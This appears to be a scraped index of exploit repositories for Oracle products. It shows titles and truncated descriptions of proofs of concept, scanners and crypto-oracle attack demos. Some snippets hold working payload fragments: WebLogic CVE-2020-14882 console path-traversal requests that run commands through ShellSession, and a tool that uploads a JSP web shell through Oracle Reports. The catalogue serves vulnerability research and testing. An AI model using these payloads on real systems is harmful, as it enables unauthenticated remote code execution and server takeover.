Blackash-CVE-2025-61757

🚨 CVE-2025-61757 — Pre-Auth RCE Alert 🚨 🧩 Summary ID: CVE-2025-61757 Product: Oracle Identity Manager Oracle Fusion Middleware Component: REST WebServices Affected Versions: 12.2.1.4.0 & 14.1.2.1.0 Severity: 🔴 Critical — 9.8 CVSS 3.1 Published: Oct 21, 2025 Type: Missing Authentication for Critic...

OracleOTM

OracleOTM Python tool for exploiting CVE-2021-35616 The script works in modules, which I implemented in the following order: ► Username enumeration ► Search for default credentials ► Run an SQL query using DBXML servlet ► Full exploitation and JSP execution The syntax of the script is as follows:...

pwnacle-fusion

pwnacle-fusion Automated exploit for Oracle Reports, CVE-2012-3153 / CVE-2012-3152 Credits to @misssudo for the disclosure Usage: ./pwnacle.rb targeturl payloadurl This exploit uses both CVEs to upload a .jsp shell from your payloadurl which is then reachable from /reports/images/shell.jsp...

CVE-2022-27434

CVE-2022-27434 UNIT4 TETA Mobile Edition 29HF13 was discovered to contain a SQL injection vulnerability via the ProfileName parameter in the errorReporting page. The vulnerability exist in the error page generated by the application in this case: while changing password. Adding quotation mark to...

Weblogic_Unauthorized-bypass-RCE

CVE-2020–14882 Weblogic Unauthorized bypass RCE CVE-2020-14882 Oracle Weblogic Unauthorized bypass RCE test script it works on Python3 Requests POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1 Host: User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Geck...

CVE-2025-61882-Oracle-E-Business-Suite-Pre-Auth-RCE-Exploit

CVE-2025-61882 - Oracle E-Business Suite Pre-Auth RCE Exploit A critical pre-authentication Remote Code Execution RCE flaw in Oracle E-Business Suite versions 12.2.3–12.2.14 allows attackers to gain full control over vulnerable servers via malicious HTTP requests — now actively exploited in the...

CVE-2026-11119-Padding-Oracle-Attack-on-CBC-Mode-Encryption

CVE-2026-11119 – Padding Oracle Attack on CBC Mode Encryption Program Code Python paddingoracleserver.py - Server that returns padding error from flask import Flask, request from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import os key = os.urandom16 app = Flaskname...

php_filter_chains_oracle_exploit

PHP filter chains: file read from error-based oracle A CLI to exploit parameters affected by the file read caused by the the error-based oracle of PHP filter chains. It can be used to leak the content of a local file when passed to vulnerable functions, such as file, hashfile, filegetcontents or...

oracle-xxe-sqli

oracle-xxe-sqli Automated Oracle CVE-2014-6577 exploitation via SQLi Usage: oracle-xxe-sqli.py -h -i IP -p PORT --disable-server --custom-headers CUSTOMHEADERS -f PAYLOADFILE url Options positional arguments: url URL to inject. Use as the injection marker, just once. optional arguments: -h, --hel...

OracleCVE

OracleCVE Vulnerabilities which found in Oracle products...

CVE-2026-11110-AES-GCM-Nonce-Reuse-Leading-to-Key-Recovery

CVE-2026-11110 – AES-GCM Nonce Reuse Leading to Key Recovery Program Code Python aesgcmnoncereusesim.py - Simulated encryption oracle with fixed nonce from Crypto.Cipher import AES import os key = os.urandom16 nonce = b'\x00' 12 ALWAYS SAME NONCE def encryptplaintext: cipher = AES.newkey,...

ed25519-unsafe-libs

ed25519-unsafe-libs Double Public Key Signing Function Oracle Attack on Ed25519 A list of potentially unsafe ed25519 signature libraries that allow a public api where secret and public key can be provided independently as signing function inputs. Misuse of these public apis can result to private...

oracle-oam-authentication-bypas-exploit

Oracle Access Manager OAM Authentication Bypass Exploit Introduction Exploiting Oracle Access Manager OAM padding oracle vulnerability CVE-2018-2879 to perform authentication bypass and login to any web app protected by OAM using valid username. This exploit is based on OAM padding oracle...

CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' \ '%22java.lang.Runtime.getRuntime.exec%27calc.exe%27;%22'.format'192.168.1.53', '700...

CVE-2026-21962

🚨 CVE-2026-21962 - Critical Authentication Bypass Vulnerability 🧾 Summary 🔥 A maximum severity 10.0 vulnerability enabling unauthenticated remote access to Oracle middleware systems. CVE ID : CVE-2026-21962 Severity : CRITICAL Published : 2026-01-20 Category : Authentication Bypass CWE : CWE-284...

cve-2023-21987-poc

cve-2023-21987-poc Oracle VirtualBox VGA OOB-Read Vulnerability This Proof of Concept PoC is designed for a Linux guest OS running on a Windows host OS. The purpose of this PoC is to demonstrate the ability to leak addresses of VirtualBox components. You may need to adjust the pointer values with...

CVE-2025-61882

Oracle E-Business Suite RCE Scanner CVE-2025-61882 A fast, multi-threaded bulk scanner for detecting CVE-2025-61882 in Oracle E-Business Suite installations. This critical vulnerability allows unauthenticated remote code execution. 🎯 Features Bulk Scanning - Process hundreds or thousands of...

cloudsploit

CloudSploit by Aqua - Cloud Security Scans Quick Start Generic $ git clone https://github.com/aquasecurity/cloudsploit.git $ cd cloudsploit $ npm install $ ./index.js -h Docker $ git clone https://github.com/aquasecurity/cloudsploit.git $ cd cloudsploit $ docker build . -t cloudsploit:0.0.1 $...

cve-2020-14882

CVE-2020-14882 Affected versions: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 POC: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=false&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession"java.lang.Runtime.getRuntime.exec'calc.exe';"; image: EXP: python...

CVE-2020-14882

WebLogic CVE-2020-14882 / CVE-2020-14883 Test Script This project provides a simple Bash script for testing whether an Oracle WebLogic server is vulnerable to the authentication bypass CVE-2020-14882 and the associated remote code execution vector CVE-2020-14883. The script sends a POST request t...